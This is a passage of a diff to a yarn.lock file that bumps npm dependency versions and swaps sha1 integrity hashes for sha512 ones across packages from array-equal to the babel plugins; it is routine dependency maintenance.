+  resolved "https://registry.yarnpkg.com/array-equal/-/array-equal-1.0.2.tgz#a8572e64e822358271250b9156d20d96ef5dec04"
+  integrity sha512-gUHx76KtnhEgB3HOuFYiCm3FIdEs6ocM2asHvNTkfu/Y09qQVrrVVaOKENmS2KkSaGoxgXNqC+ZVtR/n0MOkSA==
 
 array-filter@~0.0.0:
   version "0.0.1"
   resolved "https://registry.yarnpkg.com/array-filter/-/array-filter-0.0.1.tgz#7da8cf2e26628ed732803581fd21f67cacd2eeec"
-  integrity sha1-fajPLiZijtcygDWB/SH2fKzS7uw=
+  integrity sha512-VW0FpCIhjZdarWjIz8Vpva7U95fl2Jn+b+mmFFMLn8PIVscOQcAgEznwUzTEuUHuqZqIxwzRlcaN/urTFFQoiw==
 
 array-find-index@^1.0.1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/array-find-index/-/array-find-index-1.0.2.tgz#df010aa1287e164bbda6f9723b0a96a1ec4187a1"
-  integrity sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=
+  integrity sha512-M1HQyIXcBGtVywBt8WVdim+lrNaK7VHp99Qt5pSNziXznKHViIBbXWtfRTpEFpF/c4FdfxNAsCCwPp5phBYJtw==
 
 array-flatten@1.1.1:
   version "1.1.1"
@@ -272,52 +288,66 @@ array-flatten@^2.1.0:
   integrity sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==
 
 array-includes@^3.0.3, array-includes@^3.1.1:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.2.tgz#a8db03e0b88c8c6aeddc49cb132f9bcab4ebf9c8"
-  integrity sha512-w2GspexNQpx+PutG3QpT437/BenZBj0M/MZGn5mzv/MofYqo0xmRHzn4lFsoDlWJ+THYsGJmFlW68WlDFx7VRw==
+  version "3.1.8"
+  resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.8.tgz#5e370cbe172fdd5dd6530c1d4aadda25281ba97d"
+  integrity sha512-itaWrbYbqpGXkGhZPGUulwnhVf5Hpy1xiCFsGqyIGglbBxmG5vSjxQen3/WGOjPpNEv1RtBLKxbmVXm8HpJStQ==
   dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.1"
-    get-intrinsic "^1.0.1"
-    is-string "^1.0.5"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.4"
+    is-string "^1.0.7"
 
 array-map@~0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/array-map/-/array-map-0.0.0.tgz#88a2bab73d1cf7bcd5c1b118a003f66f665fa662"
-  integrity sha1-iKK6tz0c97zVwbEYoAP2b2ZfpmI=
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/array-map/-/array-map-0.0.1.tgz#d1bf3cc8813a7daaa335e5c8eb21d9d06230c1a7"
+  integrity sha512-sxHIeJTGEsRC8/hYkZzdJNNPZ41EXHVys7pqMw1iwE/Kx8/hto0UbDuGQsSJ0ujPovj9qUZl6EOY/EiZ2g3d9Q==
 
 array-reduce@~0.0.0:
   version "0.0.0"
   resolved "https://registry.yarnpkg.com/array-reduce/-/array-reduce-0.0.0.tgz#173899d3ffd1c7d9383e4479525dbe278cab5f2b"
-  integrity sha1-FziZ0//Rx9k4PkR5Ul2+J4yrXys=
+  integrity sha512-8jR+StqaC636u7h3ye1co3lQRefgVVUQUhuAmRbDqIMeR2yuXzRvkCNQiQ5J/wbREmoBLNtp13dhaaVpZQDRUw==
 
 array-union@^1.0.1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/array-union/-/array-union-1.0.2.tgz#9a34410e4f4e3da23dea375be5be70f24778ec39"
-  integrity sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=
+  integrity sha512-Dxr6QJj/RdU/hCaBjOfxW+q6lyuVE6JFWIrAUpuOOhoJJoQ99cUn3igRaHVB5P9WrgFVN0FfArM3x0cueOU8ng==
   dependencies:
     array-uniq "^1.0.1"
 
 array-uniq@^1.0.1:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/array-uniq/-/array-uniq-1.0.3.tgz#af6ac877a25cc7f74e058894753858dfdb24fdb6"
-  integrity sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=
+  integrity sha512-MNha4BWQ6JbwhFhj03YK552f7cb3AzoE8SzeljgChvL1dl3IcvggXVz1DilzySZkCja+CXuZbdW7yATchWn8/Q==
 
 array-unique@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/array-unique/-/array-unique-0.2.1.tgz#a1d97ccafcbc2625cc70fadceb36a50c58b01a53"
-  integrity sha1-odl8yvy8JiXMcPrc6zalDFiwGlM=
+  integrity sha512-G2n5bG5fSUCpnsXz4+8FUkYsGPkNfLn9YvS66U5qbTIXI2Ynnlo4Bi42bWv+omKUCqz+ejzfClwne0alJWJPhg==
 
 array-unique@^0.3.2:
   version "0.3.2"
   resolved "https://registry.yarnpkg.com/array-unique/-/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428"
-  integrity sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=
+  integrity sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==
+
+arraybuffer.prototype.slice@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz#9d760d84dbdd06d0cbf92c8849615a1a7ab3183c"
+  integrity sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    is-array-buffer "^3.0.4"
 
 arrify@^1.0.0, arrify@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/arrify/-/arrify-1.0.1.tgz#898508da2226f380df904728456849c1501a4b0d"
-  integrity sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=
+  integrity sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==
 
 art@^0.10.3:
   version "0.10.3"
@@ -327,54 +357,53 @@ art@^0.10.3:
 asap@~2.0.3:
   version "2.0.6"
   resolved "https://registry.yarnpkg.com/asap/-/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46"
-  integrity sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=
+  integrity sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==
 
-asn1.js@^5.2.0:
-  version "5.4.1"
-  resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07"
-  integrity sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==
+asn1.js@^4.10.1:
+  version "4.10.1"
+  resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-4.10.1.tgz#b9c2bf5805f1e64aadeed6df3a2bfafb5a73f5a0"
+  integrity sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==
   dependencies:
     bn.js "^4.0.0"
     inherits "^2.0.1"
     minimalistic-assert "^1.0.0"
-    safer-buffer "^2.1.0"
 
 asn1@~0.2.3:
-  version "0.2.4"
-  resolved "https://registry.yarnpkg.com/asn1/-/asn1-0.2.4.tgz#8d2475dfab553bb33e77b54e59e880bb8ce23136"
-  integrity sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==
+  version "0.2.6"
+  resolved "https://registry.yarnpkg.com/asn1/-/asn1-0.2.6.tgz#0d3a7bb6e64e02a90c0303b31f292868ea09a08d"
+  integrity sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==
   dependencies:
     safer-buffer "~2.1.0"
 
 assert-plus@1.0.0, assert-plus@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525"
-  integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=
+  integrity sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==
 
 assert@^1.1.1:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb"
-  integrity sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==
+  version "1.5.1"
+  resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.1.tgz#038ab248e4ff078e7bc2485ba6e6388466c78f76"
+  integrity sha512-zzw1uCAgLbsKwBfFc8CX78DDg+xZeBksSO3vwVIDDN5i94eOrPsSSyiVhmsSABFDM/OcpE2aagCat9dnWQLG1A==
   dependencies:
-    object-assign "^4.1.1"
-    util "0.10.3"
+    object.assign "^4.1.4"
+    util "^0.10.4"
 
 assign-symbols@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
-  integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
+  integrity sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==
 
 ast-types-flow@0.0.7:
   version "0.0.7"
   resolved "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.7.tgz#f70b735c6bca1a5c9c22d982c3e39e7feba3bdad"
-  integrity sha1-9wtzXGvKGlycItmCw+Oef+ujva0=
+  integrity sha512-eBvWn1lvIApYMhzQMsu9ciLfkBY499mFZlNqG+/9WR7PVlroQw0vG30cOQQbaKz3sCEc44TAOu2ykzqXSNnwag==
 
 async-each@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/async-each/-/async-each-1.0.3.tgz#b727dbf87d7651602f06f4d4ac387f47d91b0cbf"
-  integrity sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ==
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/async-each/-/async-each-1.0.6.tgz#52f1d9403818c179b7561e11a5d1b77eb2160e77"
+  integrity sha512-c646jH1avxr+aVpndVMeAfYw7wAa6idufrlN3LPA4PmKS0QEGp6PIC9nwz0WQkkvBGAMEki3pFdtxaF39J9vvg==
 
-async@^2.1.2, async@^2.1.4, async@^2.4.1, async@^2.6.2:
+async@^2.1.2, async@^2.1.4, async@^2.4.1, async@^2.6.4:
   version "2.6.4"
   resolved "https://registry.yarnpkg.com/async/-/async-2.6.4.tgz#706b7ff6084664cd7eae713f6f965433b5504221"
   integrity sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==
@@ -406,7 +435,7 @@ autoprefixer@7.1.6:
 autoprefixer@^6.3.1:
   version "6.7.7"
   resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-6.7.7.tgz#1dbd1c835658e35ce3f9984099db00585c782014"
-  integrity sha1-Hb0cg1ZY41zj+ZhAmdsAWFx4IBQ=
+  integrity sha512-WKExI/eSGgGAkWAO+wMVdFObZV7hQen54UpD1kCCTN3tvlL3W1jL4+lPP/M7MwoP7Q4RHzKtO3JQ4HxYEcd+xQ==
   dependencies:
     browserslist "^1.7.6"
     caniuse-db "^1.0.30000634"
@@ -415,27 +444,34 @@ autoprefixer@^6.3.1:
     postcss "^5.2.16"
     postcss-value-parser "^3.2.3"
 
+available-typed-arrays@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz#a5cc375d6a03c2efc87a553f3e0b1522def14846"
+  integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==
+  dependencies:
+    possible-typed-array-names "^1.0.0"
+
 aws-sign2@~0.7.0:
   version "0.7.0"
   resolved "https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8"
-  integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=
+  integrity sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==
 
 aws4@^1.8.0:
-  version "1.11.0"
-  resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.11.0.tgz#d61f46d83b2519250e2784daf5b09479a8b41c59"
-  integrity sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.13.2.tgz#0aa167216965ac9474ccfa83892cfb6b3e1e52ef"
+  integrity sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==
 
 axobject-query@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/axobject-query/-/axobject-query-0.1.0.tgz#62f59dbc59c9f9242759ca349960e7a2fe3c36c0"
-  integrity sha1-YvWdvFnJ+SQnWco0mWDnov48NsA=
+  integrity sha512-hEvSXm+TPfadELgugiwUBoTQBFvNF+riZKUxuqoRbm7dv06hVd0yvyIaS4DBohxgO8WpIJ2/OSEhdk+iw/LWsg==
   dependencies:
     ast-types-flow "0.0.7"
 
 babel-code-frame@6.26.0, babel-code-frame@^6.11.0, babel-code-frame@^6.22.0, babel-code-frame@^6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-code-frame/-/babel-code-frame-6.26.0.tgz#63fd43f7dc1e3bb7ce35947db8fe369a3f58c74b"
-  integrity sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=
+  integrity sha512-XqYMR2dfdGMW+hd0IUZ2PwK+fGeFkOxZJ0wY+JaQAHzt1Zx8LcvpiZD2NiGkEG8qx0CfkAOr5xt76d1e8vG90g==
   dependencies:
     chalk "^1.1.3"
     esutils "^2.0.2"
@@ -444,7 +480,7 @@ babel-code-frame@6.26.0, babel-code-frame@^6.11.0, babel-code-frame@^6.22.0, bab
 babel-core@6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-core/-/babel-core-6.26.0.tgz#af32f78b31a6fcef119c87b0fd8d9753f03a0bb8"
-  integrity sha1-rzL3izGm/O8RnIew/Y2XU/A6C7g=
+  integrity sha512-FSiqfr4SYrH5Zv5KgWahyY99VC+Aod1ioMRNvL1lPS4WTUqvPAdYo7ioWEhDHEDqZADapbJZMX0sBuRsc93bDQ==
   dependencies:
     babel-code-frame "^6.26.0"
     babel-generator "^6.26.0"
@@ -494,7 +530,7 @@ babel-core@^6.0.0, babel-core@^6.26.0:
 babel-eslint@7.2.3:
   version "7.2.3"
   resolved "https://registry.yarnpkg.com/babel-eslint/-/babel-eslint-7.2.3.tgz#b2fe2d80126470f5c19442dc757253a897710827"
-  integrity sha1-sv4tgBJkcPXBlELcdXJTqJdxCCc=
+  integrity sha512-i2yKOhjgwUbUrJ8oJm6QqRzltIoFahGNPZ0HF22lUN4H1DW03JQyJm7WSv+I1LURQWjDNhVqFo04acYa07rhOQ==
   dependencies:
     babel-code-frame "^6.22.0"
     babel-traverse "^6.23.1"
@@ -518,7 +554,7 @@ babel-generator@^6.18.0, babel-generator@^6.26.0:
 babel-helper-builder-binary-assignment-operator-visitor@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helper-builder-binary-assignment-operator-visitor/-/babel-helper-builder-binary-assignment-operator-visitor-6.24.1.tgz#cce4517ada356f4220bcae8a02c2b346f9a56664"
-  integrity sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=
+  integrity sha512-gCtfYORSG1fUMX4kKraymq607FWgMWg+j42IFPc18kFQEsmtaibP4UrqsXt8FlEJle25HUd4tsoDR7H2wDhe9Q==
   dependencies:
     babel-helper-explode-assignable-expression "^6.24.1"
     babel-runtime "^6.22.0"
@@ -527,7 +563,7 @@ babel-helper-builder-binary-assignment-operator-visitor@^6.24.1:
 babel-helper-builder-react-jsx@^6.24.1:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-helper-builder-react-jsx/-/babel-helper-builder-react-jsx-6.26.0.tgz#39ff8313b75c8b65dceff1f31d383e0ff2a408a0"
-  integrity sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=
+  integrity sha512-02I9jDjnVEuGy2BR3LRm9nPRb/+Ja0pvZVLr1eI5TYAA/dB0Xoc+WBo50+aDfhGDLhlBY1+QURjn9uvcFd8gzg==
   dependencies:
     babel-runtime "^6.26.0"
     babel-types "^6.26.0"
@@ -536,7 +572,7 @@ babel-helper-builder-react-jsx@^6.24.1:
 babel-helper-call-delegate@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helper-call-delegate/-/babel-helper-call-delegate-6.24.1.tgz#ece6aacddc76e41c3461f88bfc575bd0daa2df8d"
-  integrity sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=
+  integrity sha512-RL8n2NiEj+kKztlrVJM9JT1cXzzAdvWFh76xh/H1I4nKwunzE4INBXn8ieCZ+wh4zWszZk7NBS1s/8HR5jDkzQ==
   dependencies:
     babel-helper-hoist-variables "^6.24.1"
     babel-runtime "^6.22.0"
@@ -546,7 +582,7 @@ babel-helper-call-delegate@^6.24.1:
 babel-helper-define-map@^6.24.1:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-helper-define-map/-/babel-helper-define-map-6.26.0.tgz#a5f56dab41a25f97ecb498c7ebaca9819f95be5f"
-  integrity sha1-pfVtq0GiX5fstJjH66ypgZ+Vvl8=
+  integrity sha512-bHkmjcC9lM1kmZcVpA5t2om2nzT/xiZpo6TJq7UlZ3wqKfzia4veeXbIhKvJXAMzhhEBd3cR1IElL5AenWEUpA==
   dependencies:
     babel-helper-function-name "^6.24.1"
     babel-runtime "^6.26.0"
@@ -556,7 +592,7 @@ babel-helper-define-map@^6.24.1:
 babel-helper-explode-assignable-expression@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helper-explode-assignable-expression/-/babel-helper-explode-assignable-expression-6.24.1.tgz#f25b82cf7dc10433c55f70592d5746400ac22caa"
-  integrity sha1-8luCz33BBDPFX3BZLVdGQArCLKo=
+  integrity sha512-qe5csbhbvq6ccry9G7tkXbzNtcDiH4r51rrPUbwwoTzZ18AqxWYRZT6AOmxrpxKnQBW0pYlBI/8vh73Z//78nQ==
   dependencies:
     babel-runtime "^6.22.0"
     babel-traverse "^6.24.1"
@@ -565,7 +601,7 @@ babel-helper-explode-assignable-expression@^6.24.1:
 babel-helper-function-name@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helper-function-name/-/babel-helper-function-name-6.24.1.tgz#d3475b8c03ed98242a25b48351ab18399d3580a9"
-  integrity sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=
+  integrity sha512-Oo6+e2iX+o9eVvJ9Y5eKL5iryeRdsIkwRYheCuhYdVHsdEQysbc2z2QkqCLIYnNxkT5Ss3ggrHdXiDI7Dhrn4Q==
   dependencies:
     babel-helper-get-function-arity "^6.24.1"
     babel-runtime "^6.22.0"
@@ -576,7 +612,7 @@ babel-helper-function-name@^6.24.1:
 babel-helper-get-function-arity@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helper-get-function-arity/-/babel-helper-get-function-arity-6.24.1.tgz#8f7782aa93407c41d3aa50908f89b031b1b6853d"
-  integrity sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=
+  integrity sha512-WfgKFX6swFB1jS2vo+DwivRN4NB8XUdM3ij0Y1gnC21y1tdBoe6xjVnd7NSI6alv+gZXCtJqvrTeMW3fR/c0ng==
   dependencies:
     babel-runtime "^6.22.0"
     babel-types "^6.24.1"
@@ -584,7 +620,7 @@ babel-helper-get-function-arity@^6.24.1:
 babel-helper-hoist-variables@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helper-hoist-variables/-/babel-helper-hoist-variables-6.24.1.tgz#1ecb27689c9d25513eadbc9914a73f5408be7a76"
-  integrity sha1-HssnaJydJVE+rbyZFKc/VAi+enY=
+  integrity sha512-zAYl3tqerLItvG5cKYw7f1SpvIxS9zi7ohyGHaI9cgDUjAT6YcY9jIEH5CstetP5wHIVSceXwNS7Z5BpJg+rOw==
   dependencies:
     babel-runtime "^6.22.0"
     babel-types "^6.24.1"
@@ -592,7 +628,7 @@ babel-helper-hoist-variables@^6.24.1:
 babel-helper-optimise-call-expression@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helper-optimise-call-expression/-/babel-helper-optimise-call-expression-6.24.1.tgz#f7a13427ba9f73f8f4fa993c54a97882d1244257"
-  integrity sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=
+  integrity sha512-Op9IhEaxhbRT8MDXx2iNuMgciu2V8lDvYCNQbDGjdBNCjaMvyLf4wl4A3b8IgndCyQF8TwfgsQ8T3VD8aX1/pA==
   dependencies:
     babel-runtime "^6.22.0"
     babel-types "^6.24.1"
@@ -600,7 +636,7 @@ babel-helper-optimise-call-expression@^6.24.1:
 babel-helper-regex@^6.24.1:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-helper-regex/-/babel-helper-regex-6.26.0.tgz#325c59f902f82f24b74faceed0363954f6495e72"
-  integrity sha1-MlxZ+QL4LyS3T6zu0DY5VPZJXnI=
+  integrity sha512-VlPiWmqmGJp0x0oK27Out1D+71nVVCTSdlbhIVoaBAj2lUgrNjBCRR9+llO4lTSb2O4r7PJg+RobRkhBrf6ofg==
   dependencies:
     babel-runtime "^6.26.0"
     babel-types "^6.26.0"
@@ -609,7 +645,7 @@ babel-helper-regex@^6.24.1:
 babel-helper-remap-async-to-generator@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helper-remap-async-to-generator/-/babel-helper-remap-async-to-generator-6.24.1.tgz#5ec581827ad723fecdd381f1c928390676e4551b"
-  integrity sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=
+  integrity sha512-RYqaPD0mQyQIFRu7Ho5wE2yvA/5jxqCIj/Lv4BXNq23mHYu/vxikOy2JueLiBxQknwapwrJeNCesvY0ZcfnlHg==
   dependencies:
     babel-helper-function-name "^6.24.1"
     babel-runtime "^6.22.0"
@@ -620,7 +656,7 @@ babel-helper-remap-async-to-generator@^6.24.1:
 babel-helper-replace-supers@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helper-replace-supers/-/babel-helper-replace-supers-6.24.1.tgz#bf6dbfe43938d17369a213ca8a8bf74b6a90ab1a"
-  integrity sha1-v22/5Dk40XNpohPKiov3S2qQqxo=
+  integrity sha512-sLI+u7sXJh6+ToqDr57Bv973kCepItDhMou0xCP2YPVmR1jkHSCY+p1no8xErbV1Siz5QE8qKT1WIwybSWlqjw==
   dependencies:
     babel-helper-optimise-call-expression "^6.24.1"
     babel-messages "^6.23.0"
@@ -632,7 +668,7 @@ babel-helper-replace-supers@^6.24.1:
 babel-helpers@^6.24.1:
   version "6.24.1"
   resolved "https://registry.yarnpkg.com/babel-helpers/-/babel-helpers-6.24.1.tgz#3471de9caec388e5c850e597e58a26ddf37602b2"
-  integrity sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=
+  integrity sha512-n7pFrqQm44TCYvrCDb0MqabAF+JUBq+ijBvNMUxpkLjJaAu32faIexewMumrH5KLLJ1HDyT0PTEqRyAe/GwwuQ==
   dependencies:
     babel-runtime "^6.22.0"
     babel-template "^6.24.1"
@@ -640,7 +676,7 @@ babel-helpers@^6.24.1:
 babel-jest@20.0.3, babel-jest@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-20.0.3.tgz#e4a03b13dc10389e140fc645d09ffc4ced301671"
-  integrity sha1-5KA7E9wQOJ4UD8ZF0J/8TO0wFnE=
+  integrity sha512-eAycDKZn+m6jMBv5KMXRKttDeoDUE7Y6eQpeiF4ip0lLaI4uwGNhJIdVK2RptHjO9N9RJ2gONMn2XE67wBdf8A==
   dependencies:
     babel-core "^6.0.0"
     babel-plugin-istanbul "^4.0.0"
@@ -658,14 +694,14 @@ babel-loader@7.1.2:
 babel-messages@^6.23.0:
   version "6.23.0"
   resolved "https://registry.yarnpkg.com/babel-messages/-/babel-messages-6.23.0.tgz#f3cdf4703858035b2a2951c6ec5edf6c62f2630e"
-  integrity sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=
+  integrity sha512-Bl3ZiA+LjqaMtNYopA9TYE9HP1tQ+E5dLxE0XrAzcIJeK2UqF0/EaqXwBn9esd4UmTfEab+P+UYQ1GnioFIb/w==
   dependencies:
     babel-runtime "^6.22.0"
 
 babel-plugin-check-es2015-constants@^6.22.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-check-es2015-constants/-/babel-plugin-check-es2015-constants-6.22.0.tgz#35157b101426fd2ffd3da3f75c7d1e91835bbf8a"
-  integrity sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=
+  integrity sha512-B1M5KBP29248dViEo1owyY32lk1ZSH2DaNNrXLGt8lyjjHm7pBqAdQ7VKUPR6EEDO323+OvT3MQXbCin8ooWdA==
   dependencies:
     babel-runtime "^6.22.0"
 
@@ -691,52 +727,52 @@ babel-plugin-istanbul@^4.0.0:
 babel-plugin-jest-hoist@^20.0.3:
   version "20.0.3"
   resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-20.0.3.tgz#afedc853bd3f8dc3548ea671fbe69d03cc2c1767"
-  integrity sha1-r+3IU70/jcNUjqZx++adA8wsF2c=
+  integrity sha512-rnyXaCLaHX6BjzT9h4UI1xK7oobCwtLfhompk0qxbcQNhw8JEidggjO1KonVrpdd2+q3QAww3DwVdTYs0g373Q==
 
 babel-plugin-syntax-async-functions@^6.8.0:
   version "6.13.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-syntax-async-functions/-/babel-plugin-syntax-async-functions-6.13.0.tgz#cad9cad1191b5ad634bf30ae0872391e0647be95"
-  integrity sha1-ytnK0RkbWtY0vzCuCHI5HgZHvpU=
+  integrity sha512-4Zp4unmHgw30A1eWI5EpACji2qMocisdXhAftfhXoSV9j0Tvj6nRFE3tOmRY912E0FMRm/L5xWE7MGVT2FoLnw==
 
 babel-plugin-syntax-class-properties@^6.8.0:
   version "6.13.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-syntax-class-properties/-/babel-plugin-syntax-class-properties-6.13.0.tgz#d7eb23b79a317f8543962c505b827c7d6cac27de"
-  integrity sha1-1+sjt5oxf4VDlixQW4J8fWysJ94=
+  integrity sha512-chI3Rt9T1AbrQD1s+vxw3KcwC9yHtF621/MacuItITfZX344uhQoANjpoSJZleAmW2tjlolqB/f+h7jIqXa7pA==
 
 babel-plugin-syntax-dynamic-import@6.18.0, babel-plugin-syntax-dynamic-import@^6.18.0:
   version "6.18.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-syntax-dynamic-import/-/babel-plugin-syntax-dynamic-import-6.18.0.tgz#8d6a26229c83745a9982a441051572caa179b1da"
-  integrity sha1-jWomIpyDdFqZgqRBBRVyyqF5sdo=
+  integrity sha512-MioUE+LfjCEz65Wf7Z/Rm4XCP5k2c+TbMd2Z2JKc7U9uwjBhAfNPE48KC4GTGKhppMeYVepwDBNO/nGY6NYHBA==
 
 babel-plugin-syntax-exponentiation-operator@^6.8.0:
   version "6.13.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-syntax-exponentiation-operator/-/babel-plugin-syntax-exponentiation-operator-6.13.0.tgz#9ee7e8337290da95288201a6a57f4170317830de"
-  integrity sha1-nufoM3KQ2pUoggGmpX9BcDF4MN4=
